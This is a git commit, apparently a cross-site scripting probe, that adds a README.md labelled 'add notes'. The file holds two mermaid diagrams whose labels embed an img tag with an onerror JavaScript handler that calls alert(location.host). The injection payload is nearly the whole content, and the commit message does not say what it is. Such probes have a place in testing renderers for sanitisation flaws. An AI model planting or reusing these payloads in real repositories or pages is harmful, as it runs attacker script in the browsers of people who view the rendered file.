commit 9b1cfa3d244876da0c8e43a9f093c7ad936e8047
Author: secrpeat8ig <secrpeat8ig@example.com>
Date:   Sun Sep 27 10:11:45 2026 +0000

    add notes

diff --git a/README.md b/README.md
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index 0000000..9faf4df
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+notes
+
+```mermaid
+erDiagram
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+```
+
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  A->>B: hi
+```